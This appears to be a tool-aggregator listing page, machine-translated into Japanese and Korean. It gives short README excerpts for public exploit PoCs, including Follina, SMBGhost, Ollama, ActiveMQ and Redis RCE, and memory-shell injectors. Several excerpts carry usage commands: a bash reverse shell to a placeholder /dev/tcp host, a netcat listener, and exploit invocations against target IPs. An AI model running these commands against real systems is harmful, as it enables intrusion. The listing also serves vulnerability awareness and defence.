Follina

Follina（パッチ済み） Windows用リモートアクセスシェル（cve-2022-30190ベース） ⚠️ 教育目的のみで作成されました 📚 インストールと使用方法 🛠️ root@kitploit: $ git clone https://github.com/AbdulRKB/Follina.git $ cd Follina $ pip install -r requirements.txt $ python main.py...

CVE-2020-9484

CVE-2020-9484 画像をクリックして動画をご覧ください。 使用方法 実行可能にします root@kitploit: chmod +x CVE-2020-9484 root@kitploit: ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Linux上で実行する必要があり、環境にはgccが必要です。 golangをインストールし、以下のコマンドを実行してシェルをリバウンドします。 root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：エクスプロイトの実行には数分かかる場合があります。しばらくお待ちくださ...

CVE-2023-46604

CVE-2023-46604 要求環境に従って、被害者マシンとターゲットマシンの2つのイメージを含むdocker-composeを構築します 被害者マシンで、ActiveMQを起動します 攻撃者マシンに切り替えます: • ポック（poc）を送信するためにHTTPサービスを開く: python3 -m http.server • netcatを使用して攻撃者マシンへの接続を待ち受ける nc -nlvp 4444 • リバースシェル接続を作成するペイロードを攻撃者マシンに送信する python3 exploit.py -i 172.18.0.3 -p 61616 --xml...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 취약점 설명 JumpServer 임의 파일 쓰기 취약점 CVE-2023-42819 + CVE-2023-42820 = GetShell USAGE 1. 스크립트와 필요한 파일을 같은 디렉터리에 두십시오. 2. Google Chrome이 설치되어 있는지 확인하고, Google Chrome의 버전 번호를 확인하십시오. root@kitploit: reg query "HKEYCURRENTUSER\Software\Google\Chrome\BLBeacon" /v version 3...

CVE-2020-0796

CVE-2020-0796 リモートコード実行 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 攻撃者のミスを見つける CVE-2020-0796 / "SMBGhost" のリモートコード実行 POC 期待される結果: システムアクセスを伴うリバースシェル。 企業環境での教育およびテスト目的のみを意図しています。 ZecOps は本コードについて一切の責任を負いません。ご自身の責任でご使用ください。 SMBGhost やその他の攻撃を自動的に検出するための、サーバー、エンドポイント、モバイルデバイス向けのエージェントレス DFIR...

cve-2026-27483

CVE-2026-27483 MindsDB パストラバーサルからRCEへのPoC このPoCスクリプトは、以下のGitHubアドバイザリに基づいています。 デフォルトではMindsDBは認証を使用しません PoCは認証なし と認証あり の両方のモードをサポートしています /api/handlers/ をクエリして利用可能なハンドラーを見つけ、インストールされていない任意の利用可能なハンドラー名を使用できます PoCは /venv/lib/python3.10/site-packages/pip/init.py を上書きします...

CVE-2023-20887

CVE-2023-20887 エクスプロイト VMWare vRealize Network Insight 事前認証RCE CVE-2023-20887 使用方法 root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST,...

envocabulary

envocabulary 현재 셸에 있는 모든 변수에 대해, 그 변수를 설정한 파일과 줄 번호를 찾아주거나, 어떤 하위 시스템direnv, launchd, 터미널, SSH, 시스템이 주입했는지 알려줍니다. 또한 셸 설정이 N개의 파일과 백업으로 흩어져 더 이상 파악이 안 될 때를 위한 몇 가지 정적 파일 명령도 제공합니다. 이 도구를 만든 이유는 몇 달에 한 번씩 JAVAHOME이나 PATH가 예상치 못한 곳을 가리키는 이유를 추적하다가 매번 같은 시간을 낭비했기 때문입니다. which는 명령어를 알고, direnv status...

Next.js-Exploit-Tool

Next.js-Exploit-Tool Next.js-Exploit-Tool 그래픽 기반 종합 활용 도구. 소개 CVE-2025-55182 취약점을 대상으로 하는 독립형 보안 평가 도구입니다. Go 언어로 개발되었으며, 그래픽 사용자 인터페이스GUI를 제공하여 신속한 취약점 탐지 및 검증을 수행합니다. 업데이트 내역 v1.3.0 Godzilla 고질라 메모리 셸 지원 추가 Node.js 기반 Godzilla 메모리 셸 주입 기능 구현...

CVE-2020-0041-Pixel-3a

CVE-2020-0041: 権限昇格エクスプロイト このフォルダには、CVE-2020-0041 用の bluefrostsecurity の PoC を改変した、ローカル権限昇格エクスプロイトが含まれています。 このエクスプロイトは、2020年2月のファームウェア QQ1A.200205.002 を実行している Pixel 3 デバイス向けのハードコードされたオフセット付きで提供されていました。このエクスプロイトは Pixel 3a デバイス向けに改変されています。 このエクスプロイトは SELinux を無効化し、その後ルートシェルを起動します。 エクスプロイトの改変 1. 任意の...

CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter は、RaspAP のインストールをスキャンし、特定の脆弱性 CVE-2022-39986 をテストするために設計された Bash スクリプトです。 root@kitploit: / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / // // / / // \ / // \ / / / // // // / / // / / // / //...

CVE-2024-45519

CVE-2024-45519 SMTP脆弱性エクスプロイトスクリプト 概要 このスクリプトはSMTPサーバーの脆弱性をチェックし、脆弱性が見つかった場合、その脆弱性を悪用してあなたのマシンへのリバースシェル接続を確立します。 機能 root@kitploit: ポートチェック: 対象のSMTPポートが開いているかどうかを確認します。 脆弱性チェック: SMTPサーバーの脆弱性をテストするペイロードを送信します。 エクスプロイトとリバースシェル: サーバーに脆弱性がある場合、スクリプトはリバースシェルを実行し、リモートマシンへのアクセスを可能にします。 使用方法 root@kitploit...

cve-2020-11060-poc

CVE-2020-11060 このスクリプトは、GLPI バージョン 0.85～9.4.5 における CVE-2020-11060 のための Python 3.x ベースのエクスプロイトです。 オリジナル実装: 0xdreadnaught Python3 リファクタリング: n3rada ExploitDB の元の PoC は Python 2.x を使用していたため、現在は非推奨です。新しいバージョンが提出されており、承認され次第リンクをここに追加します。 これらの PoC の構築に使用された元の脆弱性調査は AlmondOffSec によって実施され、こちら で確認できます。 使用法...

bitlocker-hardening

🔐 yellowkey-mitigation CVE-2026-45585（YellowKey）に対するBitLocker TPM+PINの強化 WinRE BitLockerバイパスに対する自動緩和策 — 完全なパッチはまだ提供されていません 🔍 脆弱性 YellowKey は、公開されたBitLockerバイパス手法です。物理的アクセスを持つ攻撃者は、回復キーもPINも資格情報も一切使わずに、BitLockerで保護されたWindows 11ドライブ上で制限なしのシェルを取得できます。...

CVE-2023-45878

CVE-2023-45878 本スクリプトは、https://herolab.usd.de/security-advisories/usd-2023-0025/ の研究成果に基づいて作成しました。このエクスプロイトは、Gibbon LMS 25.0.1 の任意ファイル書き込み（Arbitrary File Write）の脆弱性を利用して動作します。このPoCは、シンプルなPHPコマンドスクリプトをアップロードし、それを用いてPowerShellリバースシェルを読み込みます。 root@kitploit: python3 CVE-2023-45878.py -u...

cve-2025-49844

CVE-2025-49844 これは CVE-2025-49844 の個人的な proof-of-concept であり、RediShell としても知られています。 対応ターゲットビルド: x86-64 Linux redis:8.2.1-alpine Docker イメージ x86-64 Linux redis:8.2.1-bookworm Docker イメージ 少し不格好で、Wiz Research のものほど良くはないかもしれません。それでも、Hexacon 2025 のトークがアップロードされる前に動かせたのは嬉しいですし、調査はとても楽しかったです。 使い方...

ActiveMQ-EXPtools

ActiveMQ-EXPtools Apache ActiveMQの脆弱性の検出と悪用をサポート：CVE-2015-5254、CVE-2016-3088、CVE-2022-41678、CVE-2023-46604、CVE-2024-32114、CVE-2026-34197、CVE-2026-40466、CVE-2026-42588 !WARNING...

CVE-2022-26134-Godzilla-MEMSHELL

CVE-2022-26134-Godzilla-MEMSHELL 사용법 root@kitploit: java -jar CVE-2022-26134.jar 哥斯拉密码 哥斯拉密钥 example java -jar CVE-2022-26134.jar pass key 메모리 셸이 성공적으로 주입되었지만 Godzilla에 연결할 수 없는 경우 요청 구성에 다음 프로토콜 헤더를 추가하거나 Godzilla에 Burp 프록시를 구성하십시오. root@kitploit: Connection: close root@kitploit:...

CVE-2022-23935

CVE-2022-23935 🐍 CVE-2022-23935를 위한 Python 익스플로잇 CVE-2022-23935용 스테이지형 리버스 셸 페이로드 생성기 예제 root@kitploit: cve-2022-23935 10.10.16.3 44444 사용법 root@kitploit: usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip IP Address/Host for Callback port Port Number for Callback...